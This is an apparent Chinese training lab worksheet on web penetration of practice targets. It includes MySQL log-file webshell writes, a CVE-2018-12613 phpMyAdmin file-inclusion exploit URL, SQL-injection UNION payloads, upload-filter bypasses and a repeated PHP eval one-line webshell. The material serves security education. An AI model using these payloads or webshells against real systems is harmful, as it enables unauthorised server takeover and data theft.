实训任务1 漏洞攻击实战一
- 平台内启动靶机:网络安全综合实训-Web站点渗透测试(一)(启动即可无需其他操作),获得靶机IP地址。
- 在攻击机中根据靶机IP地址使用chrome浏览器打开并浏览靶机中架设的网站。
- 合理选择工具对目标Web进行扫描,收集信息,了解web服务器类型,查看是否有可疑端口、地址或文件。
- 根据可疑端口、地址或文件,设法找到网站数据库连接的地址和root密码。
- 以root权限登录网站数据库后,尝试利用日志文件来进行 getshell。首先在 sql 处执行“SHOW VARIABLES LIKE 'general%'”查看是否开启日志功能以及日志文件的保存路径。
- 如日志功能暂未开启。可以执行“set global general_log = "ON";”开启 mysql 日志功能,再次确认日志功能是否开启。
- 之后执行 sql 语句“select ‘<?php @eval($_POST[1]);?>’”,向日志文件中写入 php 一句话木马。
- 但由于在linux中mysql数据库的日志与web目录的用户权限是分开的,我们此时还无法通过目录地址访问该日志文件。
- 修改日志文件存储路径和文件名的语句为“set global general_log_file=' 绝对路径';”。
- 寻找网站在服务器上的绝对地址(浏览可能包含该信息的文件)。
- 执行:“set global general_log_file=' C://xxx//xxx//xxx//shell.php';”将日志文件的存储路径改为站点根目录下的 shell.php 文件。
- 重新写入php一句话木马。
- 之后在浏览器中访问shell.php,查看是否能够访问成功。
- 使用webshell管理工具连接创建的shell.php文件,控制服务器。
一、实训任务操作 (一)实训任务1:Web站点渗透测试(一) 1. 启动靶机并获取IP地址 在平台内启动靶机“网络安全综合实训 - Web站点渗透测试(一)”,从平台提供的信息中获取靶机IP地址。 2. 浏览靶机网站 在攻击机上使用Chrome浏览器,根据获取的靶机IP地址打开并浏览靶机中架设的网站。 3. 扫描目标Web - 可以选择工具如Nmap进行端口扫描,获取开放端口信息,例如`nmap -p -sV [靶机IP]`。 - 利用工具如Nikto进行Web漏洞扫描,它会检查服务器配置、潜在的危险文件等。例如在命令行中输入`nikto -h [靶机IP]`。 - 通过扫描了解web服务器类型(如Apache、Nginx等),查看是否有可疑端口(如非标准的Web服务端口)、地址(如隐藏的管理页面路径)或文件(如备份文件)。 4. 查找数据库连接地址和密码 - 根据扫描到的可疑信息,比如可能包含数据库连接信息的配置文件路径(如`/var/www/html/config.php`)。 - 尝试访问这些文件来获取数据库连接的地址和密码。有些情况下,密码可能是经过加密的,需要进一步破解。 5 - 14. 利用日志文件进行Getshell - 按照步骤在数据库中执行操作。首先执行“SHOW VARIABLES LIKE 'general%'”查看日志功能是否开启以及日志文件保存路径。 - 若未开启,执行“set global general_log = "ON";”开启日志功能,再次确认。 - 执行“select ‘<?php @eval($_POST[1]);?>’”写入PHP一句话木马。 - 由于权限问题,修改日志文件存储路径。寻找网站在服务器上的绝对地址(可以通过查看网站文件中的路径引用、服务器配置文件等方式),执行“set global general_log_file=' 绝对路径';”将日志文件存储路径改为站点根目录下的shell.php文件。 - 重新写入PHP一句话木马,然后在浏览器中访问shell.php。若访问成功,使用webshell管理工具(如中国菜刀、蚁剑等)连接shell.php文件,从而控制服务器。
实训任务2 漏洞攻击实战二
- 平台内启动靶机网络安全综合实训-Web站点渗透测试(二)(启动即可无需其他操作),获得靶机IP地址。
- 在攻击机中根据靶机IP地址使用chrome浏览器打开并浏览靶机中架设的网站。
- 合理选择工具对目标Web进行扫描,收集信息,了解web服务器类型,查看是否有可疑端口、地址或文件。
- 根据可疑端口、地址或文件,设法找到网站数据库连接的地址和密码。
- 登录网站数据库后,查看数据库管理系统的版本号,并在互联网中搜索是否有可以利用的安全漏洞。
参考内容:phpMyAdmin 4.8.x 本地文件包含漏洞利用 | Vulnspy Blog
- 利用 CVE-2018-12613 进行 getshell。在 SQL 语句执行处执行SELECT “ <?php file_put_contents('shell.php','<?php @eval($_POST[1]);?>');?>” ,这句话的含义为向 shell.php 文件中写入一句话木马(但还没有真正成功创建)。
- 打开浏览器的开发者工具(F12)获取sessionID(phpmyadmin的session会保存近期执行过的sql语句)。
- 根据漏洞利用原理:PHP会自动urldecode一次加百分号的参数,提交%253f(?的urlencode的urlencode)的时候自动转成%3f,满足该版本软件的白名单条件不会被后台过滤掉,此时%253f/就会被认为是一个目录,从而include。即? -> %3f -> %253f。
以此构造url如下:
- 使用webshell管理工具连接创建的shell.php文件,控制服务器。## (二)Web站点渗透测试(二) 1. 启动靶机并获取IP地址 在平台内启动靶机“网络安全综合实训 - Web站点渗透测试(二)”,获取靶机IP地址。 2. 浏览靶机网站 使用攻击机的Chrome浏览器,根据靶机IP地址打开并浏览靶机中的网站。了解web服务器类型、查看可疑端口、地址或文件。 4. 查找数据库连接地址和密码 通过扫描得到的可疑线索,找到网站数据库连接的地址和密码,例如在可能的配置文件(如`/etc/phpmyadmin/config.inc.php`)中查找。 5. 查看数据库版本并查找漏洞 登录网站数据库后,使用数据库查询语句(如在MySQL中`SELECT VERSION();`)查看数据库管理系统的版本号。在互联网(如CVE官方网站、安全博客等)中搜索该版本是否有可利用的安全漏洞。 6 - 9. 利用CVE - 2018 - 12613进行Getshell - 在SQL语句执行处执行`SELECT “ <?php file_put_contents('shell.php','<?php @eval($_POST[1]);?>');?>”`,尝试向shell.php文件写入一句话木马。 - 打开浏览器开发者工具(F12)获取sessionID(phpmyadmin会在session中保存近期执行的sql语句)。 - 根据漏洞利用原理构造URL:`http://xxx.xx.xx.xxx:xxx/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_此处为步骤7获取到的sessionID`。 - 使用webshell管理工具连接创建的shell.php文件,控制服务器。
实训任务3 白云新闻搜索
靶机:CTF入门指南-SQL注入相关练习-白云新闻搜索
中国又出现了一个搜索巨头!据报道,中国网络大亨小明近日编写了一个搜索引擎,叫白云新闻搜索,具体链接在下方,该搜索链接功能欠打,界面乏力,小明出一包辣条悬赏漏洞,豪言入侵高手都去试试,你服不服?不服就去试试呗~(答案为flag{}形式,提交{}内内容即可)
步骤1:过滤的方式是什么?如何破解?
步骤2:破解后尝试进行SQL注入
步骤3:构造截断型(--)永真句(or 1=1或or 1)确认是否为字符串拼接型查询
步骤4:确认后构造union联合查询设法获得各个表名
步骤5:根据表名查询表字段名
步骤6:根据表字段查询表数据
步骤7:flag在其中一张表中
提示1:UNION 内部的 SELECT 语句必须拥有相同数量的列。对应列必须拥有相似的数据类型。
提示2:
INFORMATION_SCHEMA:是MySQL自带数据库,看作信息数据库,并且只读。
INFORMATION_SCHEMA.TABLES:提供了关于数据库中的表的信息,属于那个数据库实例(TABLE_SCHEMA)。
INFORMATION_SCHEMA.COLUMNS:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。
1、TABLE_SCHEMA:数据库实例名称;
2、TABLE_NAME:数据存放对象表名称;
3、TABLE_TYPE:数据存放对象类型(表或视图);
4、TABLE_ROWS:数据量;
5、COLUMN_NAME:字段名称
6、COLUMN_COMMENT:字段注释
7、COLUMN_TYPE:字段类型
1. 分析过滤方式及破解 - 需要观察网站的输入过滤机制。可能是对特殊字符(如SQL关键字)进行了过滤。可以尝试使用大小写混淆(如`SeLeCt`)、编码(如URL编码、十六进制编码)等方式来绕过过滤。 2 - 3. SQL注入与构造永真句 - 尝试在搜索框等输入位置进行SQL注入。例如输入`' or 1=1 --`,如果页面返回结果异常,可能存在SQL注入漏洞。 - 通过构造截断型(`--`)永真句(`or 1=1`或`or 1`)来确认是否为字符串拼接型查询。如果页面返回全部结果或者有明显变化,那么很可能是字符串拼接型查询。 4 - 6. 联合查询获取数据 - 确认是拼接型查询后,构造union联合查询来获取各个表名。例如`' union select 1,table_name from INFORMATION_SCHEMA.TABLES --`。 - 根据表名查询表字段名,如`' union select 1,column_name from INFORMATION_SCHEMA.COLUMNS where table_name='表名' --`。 - 根据表字段查询表数据,通过调整联合查询的列数和数据类型来匹配目标表,获取数据。 - 因为flag在其中一张表中,在查询数据过程中找到flag的值并以`flag{}`形式提交。
实训任务4 手速要快
靶机:CTF入门指南-文件上传相关练习-手速要快
RT.
提示1:可以在网页代码或网络数据包中找找密码
提示2:文件上传漏洞
提示3:一句话木马
提示4:翻网站目录
1. 寻找密码 - 根据提示,仔细查看网页代码(在浏览器中查看源代码),可能在HTML注释、JavaScript变量中隐藏密码。也可以通过抓包工具(如Wireshark、Burp Suite)捕获网络数据包,查找可能包含密码的请求或响应。2 - 3. 利用文件上传漏洞 - 找到文件上传功能入口。尝试上传包含一句话木马(如`<?php @eval($_POST[1]);?>`)的文件。如果有文件类型、大小等限制,尝试绕过限制。例如,修改文件头、利用文件类型解析漏洞等。 - 上传成功后,通过翻网站目录(可能需要利用一些目录遍历漏洞或者已知的目录结构)找到上传文件的位置,然后利用工具连接这个文件来获取服务器控制权。
实训任务5 包罗万象
靶机:CTF入门指南-文件包含相关练习-包罗万象
有一天,小吉发现在网上寻找好用的网盘,这时候他发现了这么一个网站。
提示1:文件上传+文件包含
提示2:ZIP伪协议解压缩
提示3:shell的真正地址在哪里?
1 - 3. 文件上传和包含漏洞利用 - 利用文件上传功能上传包含恶意代码的文件。如果存在文件类型限制,可以尝试利用文件扩展名欺骗或者服务器端文件类型解析漏洞进行上传。 - 结合文件包含漏洞,尝试使用ZIP伪协议解压缩。例如,如果网站存在文件包含漏洞且支持ZIP伪协议,构造包含恶意代码的ZIP文件路径进行包含,使得服务器执行其中的恶意代码。 - 找到shell的真正地址。通过查看文件包含的日志、服务器配置文件或者利用路径遍历漏洞来确定shell文件在服务器上的实际位置。
实验任务6 自由训练
- 自主完成CTF入门指南-CTF Web考点以及题型解析中的其他练习。
- 根据DVWA通关手册,自主练习DVWA平台中、高级漏洞利用。
实验结果
___________________________________________________________
___________________________________________________________
___________________________________________________________
___________________________________________________________
___________________________________________________________
___________________________________________________________
实验总结
- 什么是文件包含漏洞?
- 什么是webshell?
- 漏洞攻击的一般流程是什么?
- SQL注入的技巧有哪些?
- 文件上传的技巧有哪些?
- 文件包含的技巧有哪些?
(一)文件包含漏洞 文件包含漏洞是指由于代码实现不当,允许攻击者包含服务器上的任意文件。例如,在PHP中,`include()`、`require()`等函数如果没有对用户输入进行严格过滤,攻击者可以通过构造恶意的文件路径来包含服务器上的敏感文件(如`/etc/passwd`)或者让服务器执行包含在文件中的恶意代码。(二)webshell webshell是一种通过Web方式访问和控制服务器的脚本。它通常是一段恶意的PHP、ASP、JSP等脚本代码,如常见的PHP一句话木马`<?php @eval($_POST[1]);?>`。攻击者通过各种漏洞将webshell上传到服务器目标目录后,就可以使用webshell管理工具,通过发送HTTP请求,在服务器上执行命令,实现对服务器的控制。(三)漏洞攻击的一般流程 1. 信息收集 利用工具扫描目标,包括端口扫描(获取开放端口)、服务识别(确定服务器类型和版本)、目录扫描(寻找可能存在漏洞的目录和文件)。 查看网页源代码、分析JavaScript代码等,收集可能与漏洞相关的信息。 2. 漏洞发现 根据收集的信息,分析目标是否存在已知的漏洞,如SQL注入漏洞、文件上传漏洞、文件包含漏洞等。 通过构造特殊的输入(如SQL注入的特殊语句、恶意文件上传等)来验证漏洞是否存在。 3. 漏洞利用 如果发现漏洞,利用相应的方法进行攻击。例如,对于SQL注入漏洞,通过构造联合查询获取数据或者写入恶意代码;对于文件上传漏洞,上传并执行webshell;对于文件包含漏洞,包含恶意文件。 4. 权限提升和控制 成功利用漏洞后,获取更高的权限(如通过写入webshell获得服务器执行权限),进而控制服务器,进行数据窃取、篡改等操作。 (四)SQL注入的技巧 1. 绕过过滤 - 大小写混淆,如将`SELECT`写成`SeLeCt`。 使用编码,如URL编码、十六进制编码等。例如,将`'`编码为`%27`来绕过对单引号的过滤。 利用注释,如`--`(MySQL中用于注释一行)或者`/* */`(用于注释一段)来截断SQL语句,使注入部分不被语法错误干扰。 2. 确认注入点和类型 通过构造永真式(如`or 1=1`)来确认是否为拼接型SQL注入。 - 根据返回结果判断注入类型,如数字型注入(输入数字参数时产生的注入)、字符型注入(输入字符参数时产生的注入)。 3. 利用联合查询获取数据 使用`UNION`关键字进行联合查询,从其他表中获取数据。注意`UNION`内部的`SELECT`语句必须拥有相同数量的列,且对应列必须拥有相似的数据类型。 利用`INFORMATION_SCHEMA`数据库获取表名、列名和数据。例如,从`INFORMATION_SCHEMA.TABLES`获取表名,从`INFORMATION_SCHEMA.COLUMNS`获取列名。 (五)文件上传的技巧 1. 绕过文件类型限制 修改文件头,使恶意文件的文件头符合允许上传的文件类型。例如,将PHP木马文件的文件头修改为JPEG文件头,欺骗服务器认为是图片文件。 利用文件扩展名欺骗,如在文件名后添加多个扩展名(如`shell.php.jpg`),如果服务器只检查最后一个扩展名,就可能成功上传。 利用服务器端文件类型解析漏洞,有些服务器在解析文件类型时存在漏洞,攻击者可以利用这些漏洞上传恶意文件。 2. 绕过文件大小限制 尝试分段上传,如果服务器支持,可以将大文件分成多个小部分上传,然后在服务器端组合。 利用缓存区溢出等漏洞,如果服务器在处理文件大小时存在漏洞,攻击者可以通过构造特殊的文件大小数据来绕过限制。 (六)文件包含的技巧 1. 利用相对路径和绝对路径 如果文件包含函数允许使用相对路径,攻击者可以通过构造相对路径来包含服务器上的其他文件。例如,通过`../`向上级目录遍历。 寻找绝对路径信息,通过查看网页源代码、服务器配置文件等方式获取服务器上文件的绝对路径,然后利用文件包含漏洞包含恶意文件。 2. 利用协议和封装器 除了常规的文件路径,利用协议(如`file://`、`http://`、`zip://`等)来包含文件。例如,利用ZIP伪协议解压缩并包含其中的文件,将恶意代码包含进服务器执行流程。